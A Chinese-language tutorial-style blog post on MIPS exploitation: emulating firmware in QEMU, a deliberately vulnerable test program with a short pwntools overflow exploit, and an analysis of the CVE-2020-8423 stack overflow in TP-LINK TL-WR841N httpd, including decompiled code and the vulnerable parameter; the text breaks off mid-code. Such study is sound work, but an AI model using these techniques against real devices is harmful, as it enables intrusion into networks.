Mips二进制漏洞入门笔记,最后调试TP-LINK路由器的一个栈溢出漏洞作为练习。
搭建环境:Ubuntu16.04 in Parrallels
工具安装
SquashFS:用于Linux内核的只读文件系统
1 2 3 sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev sudo git clone https://github.com/devttys0/sasquatch cd sasquatch && sudo ./build
Binwalk:貌似是目前唯一可靠的解bin包的工具。
1 sudo apt-get install binwalk
Ghidra:NAS开源的反汇编工具
安装java环境,直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac OS),中途会要求jdk路径(/usr/libexec/java_home -V 获取jdk路径)
官网下载
简单体验了一下这个工具,比起IDA这个工具在函数和变量自动命名上更加有条理,并且反汇编和伪代码自动对应功能用起来也更方便。最重要的是可以反汇编Mips!
环境安装
Qemu安装
1 sudo apt-get install qemu
交叉编译环境buildroot
1 2 3 4 5 6 7 sudo apt-get install libncurses5-dev patch wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2 cd buildroot/ make clean make menuconfig sudo make
进入menuconfig之后,选择目标架构Mips32(需要注意mips包含大端mips和小端mipsel)。配置结束之后使用make编译工具链即可。
安装完成之后设置环境变量,在/etc/profile结尾加上
1 export PATH=$PATH:/.../buildroot/output/host/bin;
编译第一个mips程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> #include <string.h> void backdoor () { system("/bin/sh" ); } void has_stack (char *src) { char dst[20 ]={0 }; strcpy (dst,src); printf ("copy successfully" ); } void main (int argc,char *argv[]) { has_stack(argv[1 ]); }
默认编译小端程序。注意需要加-static
静态编译 ,因为我们qemu运行环境并没有包含C标准库。
1 2 3 $ mipsel-linux-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
编译大端程序。需要加-EB参数,但是仅仅加-EB会导致ld报错,主要原因是ld也需要加-EB参数。所以我们需要编译和链接分开。如果要编译成共享库,上下加上-shared参数。(ld时还是存在问题)
1 2 $ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o $ mipsel-linux-ld vuln.o -EB -o vuln
使用qemu-mipsel运行我们的小端程序
1 2 $ qemu-mipsel vuln "123" copy successfully
解决方案:用H4lo师傅的工具链构造mips编译环境 ,在里面找到了用apt就能直接安装的交叉编译工具链,以后也不用自己编译了!
1 2 3 4 sudo apt-get install linux-libc-dev-mipsel-cross sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross sudo apt-get install binutils-mipsel-linux-gnu sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu
用mips-linux-gnu-gcc编译大端程序
1 2 3 $ mips-linux-gnu-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped
(*)Qemu运行Mips Linux内核
https://people.debian.org/~aurel32/qemu/mips/ 下载两个包
vmlinux内核文件和debian镜像(建议挂代理,否则很慢),建议使用3.2版本内核,老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。
1 2 3 # wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
使用qemu运行mips debian,账号和密码都是root。
Qemu有主要如下两种运作模式,User Mode和System Mode。
Qemu系统模式命令如下
1 $ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
调试路由器固件的运行环境
测试固件版本::DIR-605L A1 FW v1.13 下载地址
首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin
1 binwalk -e DIR605LA1_FW113b06.bin
搜索boa(web服务程序)并且使用qemu-mips运行。首先复制qemu-mips到当前目录,然后用chroot设置根目录,然后用qemu-mips运行boa。不过出现了Not a direcotry的问题,这里需要用qemu-mips-static来运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 $ cp $(which qemu-mips) ./ $ sudo chroot qemu-mips ./squashfs-root-0/bin/boa chroot: cannot change root directory to 'qemu-mips': Not a directory 安装qemu-mips-static sudo apt-get install qemu binfmt-support qemu-user-static 改用qemu-mips-static运行 /squashfs-root-0$ cp $(which qemu-mips) ./ /squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boa Initialize AP MIB failed! qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault (core dumped)
运行web服务的/bin/boa程序发生段错误,提示Initialize AP MIB failed!
通过file文件和你想分析,我们可以知道boa文件动态链接到uclibc链接库,uclibc是应用于嵌入式设备的一种小型C运行库,free和malloc的实现和glibc有一定区别,利用手法也有一些不同,当然这是后话暂且不表。
1 2 $ file ./bin/boa ./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size
在Ghidra中搜索Initialize AP MIB failed!
,当apmid_init()执行失败了之后就会返回0,导致Web服务启动失败。经过分析apmid_init()来自于动态链接库apmid.so,来自文件根目录下的lib文件夹。又因为,apmid_init()对于我们的测试并没有决定性影响,所以可以考虑用hook的方式,强制让apmid_init()函数值返回1。
1 2 3 4 iVar1 = apmib_init(); if (iVar1 == 0 ) { puts ("Initialize AP MIB failed!" ); }
使用LD_PRELOAD 来Hook函数,首先编写如下代码,并且编译成动态共享库。
1 2 3 4 5 6 7 8 #include <stdio.h> #include <stdlib.h> int apmib_init () { printf ("hook apmib_init()\n" ); return 1 ; }
1 mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行
运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”,但是运行又出了一点问题。
1 2 $ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa ./bin/boa: can't load library 'libc.so.6'
默认链接库名为libc.so.6,所以我们这里尝试去复制uclibc的libc.so.0,再次运行,发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下,思考如何将动态链接的mips elf(我们之前都是编译的静态链接程序)通过qemu的user mode运行起来?
1 2 3 4 5 6 7 cp lib/libc.so.0 lib/libc.so.6 $ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa hook apmib_init() Create chklist file error! Create chklist file error! qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault (core dumped)
或者
1 sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa
不过还是报了两个错,接下来只需要按照原理的思路,继续去分析,写出最终的链接库版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <stdlib.h> #define MIB_IP_ADDR 170 #define MIB_HW_VER 0x250 #define MIB_CAPTCHA 0x2c1 int apmib_init () { printf ("hook apmib_init()\n" ); return 1 ; } int fork (void ) { return 0 ; } void apmib_get (int code,int * value) { switch (code) { case MIB_HW_VER: *value = 0xF1 ; break ; case MIB_IP_ADDR: *value = 0x7F000001 ; break ; case MIB_CAPTCHA: *value = 1 ; break ; } return ; }
QEMU chroot进行本地固件调试
漏洞相关
pwntools 是一个CTF框架和漏洞利用开发库。它是用Python编写的,旨在用于快速原型开发和开发,旨在使漏洞利用程序编写尽可能简单。pwntools官网
Gdb-Multiarch :能够调试多个架构(包括Mips)的gdb调试工具
1 apt-get install gdb-multiarch
安装peda插件
1 2 git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
安装pwndbg插件,安装完成之后进入vim ~/.gdbinit将修改插件为pwndbg
1 2 3 git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh
gdbserver(mips)
可以自己编译mips版本的也可以下载别人编译好的mips版本gdbserver 。
1 2 3 git clone https://github.com/rapid7/embedded-tools.git git clone https://github.com/hugsy/gdb-static git cloen https://github.com/akpotter/embedded-toolkit
qemu和gdb调试
用户模式调试
1 2 3 $ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000
gdb命令
因为mips架构下peda插件无法正常运行,所以需要复习一下gdb的一些基础命令
1 2 3 4 5 6 7 8 9 10 break 下断点 delete 删除断点 continue 运行到下一个断点 backtrace 回溯堆栈调用信息 info 输出信息 比如 info f输出frame信息,info locals输出当前栈所有局部变量 info registers输出寄存器内容 输出命令x/20i 输出数据(64位格式)x/20xw 输出数据(32位格式)x/20xg
ROPgadgets
1 2 3 4 $ git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget $ sudo pip install capstone $ python setup.py install $ ROPgadget
Mipsrop
将下载好的python脚本放入ida的plugins目录
1 2 https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py https://github.com/SeHwa/mipsrop-for-ida7 #ida7
编译gdb(失败)
之前我在考虑用ssh开一个终端然后用mips版本的gdb调试,不过所有gdb版本都试了一遍,都出现了各自的问题,可能是我系统版本或者说是工具链版本的问题。下面是交叉编译失败的一些记录。
1 2 3 4 (gdb) file squashfs-root/usr/bin/httpd #设置符号表 (gdb) set arch mips #设置架构 (gdb) set endian big #设置大小端 (gdb) target remote ip:port #连接到调试端口
buildroot交叉编译gdb(7.12编译失败了,这里编译7.7)
1 2 3 4 5 6 7 $ wget https://ftp.gnu.org/gnu/gdb/gdb-7.7.1.tar.gz && tar zxvf gdb-7.7.1.tar.gz $ mkdir build-mips $ ./configure -host=mips-linux CC=mips-linux-gnu-gcc LD=mips-linux-gnu-ld AR=mips-linux-gnu-ar LDFLAGS="-static" --prefix=/home/migraine/Downloads/gdb-7.7.1/build-mips CFLAGS="-static" CPPFLAGS="-static" # --prefix表示安装目录 $ make $ make install
make时候报错,no termacp,那么就安装termacp (而且是得交叉编译)将编译好的libtermcap.a放入编译工具默认搜索目录lib(使用-print-file-name来搜索)将termcap.h放入目标include目录。
1 2 3 4 5 6 7 8 9 10 11 configure: error: no termcap library found $ sudo apt-get install texinfo $ ./configure --host=mips-linux CC=mips-linux-gnu-gcc AR=mips-linux-gnu-gcc-ar --prefix=/home/migraine/Downloads/termcap-1.3.1/build-mips $ make $ make install $ mips-linux-gnu-gcc -print-file-name=libc.a /usr/lib/gcc-cross/mips-linux-gnu/5/../../../../mips-linux-gnu/lib/../lib/libc.a $ sudo cp libtermcap.a /usr/mips-linux-gnu/lib/ $ sudo cp termcap.h /usr/mips-linux-gnu/include/
参考:https://blog.csdn.net/skyflying2012/article/details/7854588
简介:MIPS 是一种采取精简指令集(RISC)的指令集架构,是一种高性能的嵌入式CPU架构,广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上(比如龙芯),在路由器领域也被广泛应用。
Mips常用命令
命令
格式
用途
lw
lw R1, 0(R2)
从存储器中读取一个word存储(Load)到register中
sw
sw R1, 0(R2)
把一个word从register中存储(store)到存储器中
addiu
addiu R1,R2,#3
将一个立即数#3加上R2内容之后存放到目标地址R1
or
or R1,R2,R3
两个寄存器内容相或
jalr
jalr R1
使用寄存器的跳转指令
这里只列举了部分比较典型的几类指令,不过已经足够理解Mips的栈溢出了。
Mips下寄存器的功能
REGISTER
NAME
USAGE
$0
$zero
常量0(constant value 0)
$1
$at
保留给汇编器(Reserved for assembler)
$2-$3
$v0-$v1
函数调用返回值(values for results and expression evaluation)
$4-$7
$a0-$a3
函数调用参数(arguments)
$8-$15
$t0-$t7
暂时的(或随便用的)
$16-$23
$s0-$s7
保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25
$t8-$t9
暂时的(或随便用的)
$28
$gp
全局指针(Global Pointer)
$29
$sp
堆栈指针(Stack Pointer)
$30
$fp
帧指针(Frame Pointer)
$31
$ra
返回地址(return address)
MIPS特点:
MIPS和MIPSEL是两种架构
MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的(和x86和arm相反),不过很多CTF题目都是小端序的。(大端调试需要在gdb和pwntools都特别设置,否则默认小端)
不支持NX(即使编译选项添加了也没有用)
不支持NX即函数的栈/bss都是可执行的,当我们的写入栈中的shellcode能够被执行,大大降低了利用难度。
叶子函数和非叶子函数
在MIPS体系架构下,函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同,x86中函数A调用函数B时,会将A函数的地址压入堆栈中,等到函数B执行完毕返回A函数时候,再从堆栈中弹出函数A的地址。而MIPS中,如果是叶子函数 ,与x86是不同的,函数的返回地址是不会压入栈中的,而是会直接存入寄存器**$ra中。如果是 非叶子函数(即函数中还调用了其他函数)**,则和x86类似,将地址存入栈中。
另外Mips是没有栈底指针的,只有一个$sp指向栈顶,并且不会像x86那样通过pop或者push调整指针,而是采用偏移寻址 来访问变量。
非叶子函数如图所示,在函数头部会将调用函数的返回地址即**$ra**存放在栈底(偏移4字节),而在函数快结束时会重新将该值取去出来,放入ra。在这个间段内,如果覆盖了函数栈底,就能够控制程序的流程。
而在叶子函数如下图所示,从函数被调用开始到函数jr ra返回调用函数,数据一直都在**$ra**寄存器中,所以理论上是无法利用的。但是如果缓冲区溢出的足够多,足够越过本函数的栈底,直到覆盖到调用函数的栈底,那么也是能够利用的。
内存中的数据访问(store/load)必须严格对齐(至少4字节)
流水线效应 :本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。
举个栗子,流水线会在跳转指令(jal)导致分支延迟效应 ,任何一个分支跳转语句后面的那条语句叫做分支延迟槽 。当它刚把要跳转到的地址填充好还没完成本条指令时,分支语句后面的那个指令(第三条指令)就执行了。所以下面strrchr函数的参数($a0
)实际上来自于$0
而不是来自于$2
。这是在看Mips汇编的时候需要注意的。
1 2 3 mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0
缓存不一致性(cache incoherency):
指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链接,先调用sleep,然后在跳转到shellcode。
栈溢出实例
还是用我们一开始的vuln程序进行溢出
qemu运行
1 qemu-mipsel -g 9000 vuln aaaaaa
gdb远程调试
1 2 3 $ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000
对has_stack函数下断点。首先查看strcpy的两个参数,首先是strcpy的src,lw a1,56(s8)
即从s8寄存器(实际上值和sp是相同的,都是指向栈顶)数据偏移56(+56)的数据写入寄存器a1,即通过s8+56偏移可以获得地址0x76fff2c7,这个地址即存放我输入的aaaa数据。然后我们来看dest,即发生写入的地址,这个参数默认被放在a0里,即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。
然后让我们运行到strcpy结束,能够看到我们写入的数据(sp偏移24)。而我们知道返回地址是sp偏移4位,因为这条汇编代码 004003e8 34 00 bf af sw ra,local_4(sp)
,所以我们只需要写入20+4字节数据就能覆盖返回地址。
即下图所示的位置。
经过实际测试我们输入28+4个字节能够覆盖到返回地址,下图中也显示程序的流程被我们所控制。
接下来让我们写一个简单的exploit,运行exp就能获得shell(不过不是qemu里面的shell,而是系统的shell,这点很奇怪,也许是qemu用户模式并没有挂文件系统和内核的缘故)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.binary = "vuln" back_door=0x0400390 payload=p32(0x12345678 )*7 +p32(back_door) print(payload) io=process(argv=["qemu-mipsel" , "./vuln" , payload]) io.interactive()
这里贴上一个链接,方便指令集查阅https://blog.csdn.net/gujing001/article/details/8476685
CVE-2020-8423 漏洞设备:TP-LINK TL-WR841N V10
漏洞原因:栈溢出
CVE-2020-8423是TP-LINK路由器中http服务在解析用户HTTP头中字符串没有设置正确的缓冲区大小而导致的栈溢出。
配置运行环境 因为手头没有真机,所以我们选择用qemu来模拟路由器。
Qemu System模式运行
首先下载路由器对应版本的固件 ,然后使用binwalk对固件进行解压。
1 2 binwalk -Me TL-WR841N_V10_150310.zip cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin.extracted/squashfs-root/
首先我们需要桥接qemu,使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记,所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的,请不要用64位qemu运行)。如果启动不起来或者很慢,重新下一下qcow2,可能之前的某些操作把镜像弄坏了。
1 2 3 4 sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic # 更换内核(wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta) sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic 映射端口 -redir tcp:80::8080
配置桥接
我们需要将文件系统传入虚拟机中然后运行固件,为了能让qemu和宿主机传输文件,先要配置桥接网络(参考链接 )
1.配置桥接网卡
安装bridge-utils和uml-utilities
1 2 sudo apt-get install bridge-utils sudo apt-get install uml-utilities
然后修改/etc/network/interfacces为
1 2 3 4 5 6 7 8 9 10 auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1
编辑/etc/qemu-ifup,使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。这是关键的一步。
1 2 3 4 5 6 7 8 # !/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 # sudo ifconfig br0 10.211.55.6/24 sleep 3
重启后我们主机的ip会多一个桥接。
2.配置桥接网卡的地址
接着让我们设置桥接的地址。比如我目前宿主机(运行在parralell下)的地址是10.211.55.5,所以我使用命令 ifconfig br0 10.211.55.6/24 up
修改桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24
,这样只要qemu开启就会自动设置br0)。
然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24,这样宿主机和qemu就能够相互ping通了。(只要在同一网段即可)
1 2 3 4 # 在虚拟机内部 ifconfig eth0 10.211.55.7/24 up # 在虚拟机外部(设置桥接) ifconfig br0 10.211.55.6/24 up
需要注意的是:要保证qemu内的ip子网掩码和桥接网卡一致,否则虽然宿主机和qemu都可以访问桥接网卡,但是两者不能相互通信。
尝试去ping宿主机。然后通过scp来传输文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up root@debian-mips:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39 inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB) Interrupt:10 Base address:0x1020 # 将文件系统传入qemu虚拟机 scp -r squashfs-root/ root@10.211.55.7:~/
传输文件,然后在qemu中就能看到我们传输的文件了。
1 sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/
挂载固件的文件系统
挂载系统的proc到我们固件目录下的proc .这样我们的程序在访问一些内核信息时候能够读取到,否则程序可能会运行错误。
1 2 3 4 # 挂载文件系统 mount --bind /proc squashfs-root/proc # 更换root目录 chroot . bin/sh
运行会报很多错误,参考H4lo师傅的方法hook一下函数来解决问题。将我们编译好的链接库通过scp传入到Qemu虚拟机中。
1 2 3 4 5 6 7 8 9 10 11 #mips-linux-gnu-gcc -shared -fPIC hook.c -o hook #include <stdio.h> #include <stdlib.h> int system (const char *command) { printf ("HOOK: system(\"%s\")" ,command); return 1337 ; } int fork (void ) { return 1337 ; }
重新运行,遇到/usr/bin/httpd: can't load library 'libc.so.6
这种问题,使用软链接解决即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 挂载文件系统 $ mount --bind /proc squashfs-root/proc # 更换root目录 $ cd squashfs-root/ $ chroot . bin/sh $ LD_PRELOAD="/hook" /usr/bin/httpd $ /usr/bin/httpd: can't load library ' libc.so.6' $ ln -s libc.so.0 libc.so.6 $ LD_PRELOAD="/hook" /usr/bin/httpd # gdb调试 export LD_PRELOAD="/hook" # ./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd ./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd
进入Web后台界面时候,登陆账号(账号密码都是admin)
其他问题
设置桥接之后主机无法联网的问题
初始化网桥时候将dns给删了,添加一下dns即可。
修改文件 /etc/resolvconf/resolv.conf.d/base
1 2 nameserver 8.8.8.8 nameserver 8.8.4.4
执行更新
ssh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss
添加参数 -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1
,比如:
1 2 $ ssh root@10.211.55.8 -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 gdbserver-7.12-mips-be root@10.211.55.8:~/
gdb调试
使用scp将gdbserver拷贝到squashfs-root目录下
1 scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/
使用gdbserver将httpd调试转发到2333端口
1 2 export LD_PRELOAD="/hook" ./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd
宿主机的gdb通过remote target进行远程调试。不过总是连不上。。报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout
。
参考stackoverflow上的回答 ,将内核版本从vmlinux-2.6.32-5-4kc-malta更换为[vmlinux-3.2.0-4-4kc-malta](wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta )
换了结果确实换了内核版本就成功了(汗
漏洞分析 用Ghidra逆向分析*/usr/bin/httpd* 文件,stringModify 包含三个参数,分别是dst、len、src,很明显是拷贝函数。经过分析可以知道stringModify主要用于拷贝string并且对其进行一定的过滤,包括对转义字符的修改,对于\r和\n的转义等。但是函数并没有包含对dst的检查,以及对len的限制,如果使用者dst创建的过小就有可能产生栈溢出ou。(就相当于一个对字符有一定转义作用的strcpy)
当然,还有一个最有趣,并且直接导致漏洞的是,生成</br>
的时候,写入了4个字节的数字,但是记录长度的iVar3变量却只加了1,导致理论上我们能够输入len长度4倍大数据,这样能够直接对任何调用stringModify的函数产生缓冲区溢出。
参考poc中输入*/%0A(或者 /%0D*)会而页面会输出\/<br>
,(0x0a对应\n,0x0d对应\r),可见我们出触法了生成<br>
的代码。下面是这段代码经过stringModify转义分析。注意代码中只对单独存在的\n
进行转义(连续的\n并不会触发这个漏洞点),这就是为什么我们输入的\n之间需要用其他符号隔开(经过实验证明,把\换成<之类的符号也可以溢出成功)。 (%0A转义成\n的部分我没有找到代码,但是理论上应该有一个函数在我们进入StringModify之前实现了转义,其实这个就是前端的基础编码。。)
转义前
转义后
输出
/
\\/
\/
%0A
\n
<br>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int stringModify (char *dst,int len,int src) { char cVar1; char *pcVar2; int iVar3; if ((dst == (char *)0x0 ) || (pcVar2 = (char *)(src + 1 ), src == 0 )) { iVar3 = -1 ; } else { iVar3 = 0 ; while ( true ) { cVar1 = pcVar2[-1 ]; if ((cVar1 == '\0' ) || (len <= iVar3)) break ; if (cVar1 == '/' ) { LAB_0043bb48: *dst = '\\' ; LAB_0043bb4c: iVar3 = iVar3 + 1 ; dst = dst + 1 ; LAB_0043bb54: *dst = pcVar2[-1 ]; dst = dst + 1 ; } else { if ('/' < cVar1) { if ((cVar1 == '>' ) || (cVar1 == '\\' )) goto LAB_0043bb48; if (cVar1 == '<' ) { *dst = '\\' ; goto LAB_0043bb4c; } goto LAB_0043bb54; } if (cVar1 != '\r' ) { if (cVar1 == '\"' ) goto LAB_0043bb48; if (cVar1 != '\n' ) goto LAB_0043bb54; } if ((*pcVar2 != '\r' ) && (*pcVar2 != '\n' )) { *dst = '<' ; dst[1 ] = 'b' ; dst[2 ] = 'r' ; dst[3 ] = '>' ; dst = dst + 4 ; } } iVar3 = iVar3 + 1 ; pcVar2 = pcVar2 + 1 ; } *dst = '\0' ; } return iVar3; }
让我们去源代码里搜索调用stringModify而可能产生栈溢出的地方。 于是我们找到了writePageParamSet函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void writePageParamSet (undefined4 param_1,char *param_2,int *param_3) { int iVar1; undefined *puVar2; undefined local_210 [512 ]; if (param_3 == (int *)0x0 ) { HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178" ,"Never Write NULL to page, %s, %d" , "writePageParamSet" ,0xb2 ); } iVar1 = strcmp (param_2,"\"%s\"," ); if (iVar1 == 0 ) { iVar1 = stringModify(local_210,0x200 ,param_3); if (iVar1 < 0 ) { printf ("string modify error!" ); local_210[0 ] = 0 ; } puVar2 = local_210; } else { iVar1 = strcmp (param_2,"%d," ); if (iVar1 != 0 ) { return ; } puVar2 = (undefined *)*param_3; } httpPrintf(param_1,param_2,puVar2); return ; }
然后继续回溯,我们找到了会使得writePageParamSet调用stringModify的函数,UndefinedFunction_0045fa94 。UndefinedFunction_0045fa94函数在取出ssid的时候,将ssid放入一个很小的缓冲区acStack3080中,并且没有对长度进行限制,导致能够产生栈溢出。
初学Ghidra,所以让我们分析一下他的变量分析方式,就拿我们溢出的缓冲区acStack3460 来说,在Mips汇编的表示为0xcc(sp),即距离栈顶(地址较小的那一端)0xcc距离的内存地址(buffer=sp+0xcc),让我们继续想下看,uint类型uStack3424 的地址为0xe4(sp),即地址为sp+0xf0。两者之差(36)即acStack3460的默认空间。
让我们再找一找返回值的地址,0xe4c(sp)距离sp 0xe4c 个字节。
经过审计,我们发现通过ssid参数,我们可以写入超量的数据而不会被限制,当然,距离ret地址还是有一些远的,在调用writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);
会调用stringModify。将这个超量的数据写入writePageParamSet栈中的512字节的buffer,造成缓冲区溢出。另外,需要注意的是我们还需要设置其他几个参数,因为这几个参数在ssid(acStack3460)的缓冲区下面,如果设置为默认值0x1则会产生\x00而截断我们的超长数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 0x00 | | | ssid | | | 0x24 | curRegion | 0x28 | channel | 0x2c | chanWidth | 0x30 | mode | 0x34 | wrr | 0x38 | sb | 0x3c | select | 0x40 | rate | ... 0x?? | return addr |
而代码中的"/userRpm/popupSiteSurveyRpm.htm"
则提醒着我们在测试时url的目录为*”/userRpm/popupSiteSurveyRpm.htm”*
代码做了一些删减,完整版见附录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 int UndefinedFunction_0045fa94 (undefined4 param_1) { ... char acStack3460 [36 ]; ... memset (acStack3460,0 ,0x44 ); uStack3612 = 0 ; pcVar9 = (char *)httpGetEnv(param_1,"ssid" ); if (pcVar9 == (char *)0x0 ) { acStack3460[0 ] = '\0' ; } else { __n = strlen (pcVar9); strncpy (acStack3460,pcVar9,__n); } pcVar9 = (char *)httpGetEnv(param_1,"curRegion" ); if (pcVar9 == (char *)0x0 ) { uStack3424 = 0x11 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 < 0x6c ) { uStack3424 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"channel" ); if (pcVar9 == (char *)0x0 ) { uStack3420 = 6 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 0xf ) { uStack3420 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"chanWidth" ); if (pcVar9 == (char *)0x0 ) { uStack3416 = 2 ; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 3 ) { uStack3416 = uStack3612; } } pcVar9 = (char *)httpGetEnv(param_1,"mode" ); if (pcVar9 == (char *)0x0 ) { uStack3412 = 1 ; } else { uStack3612 = 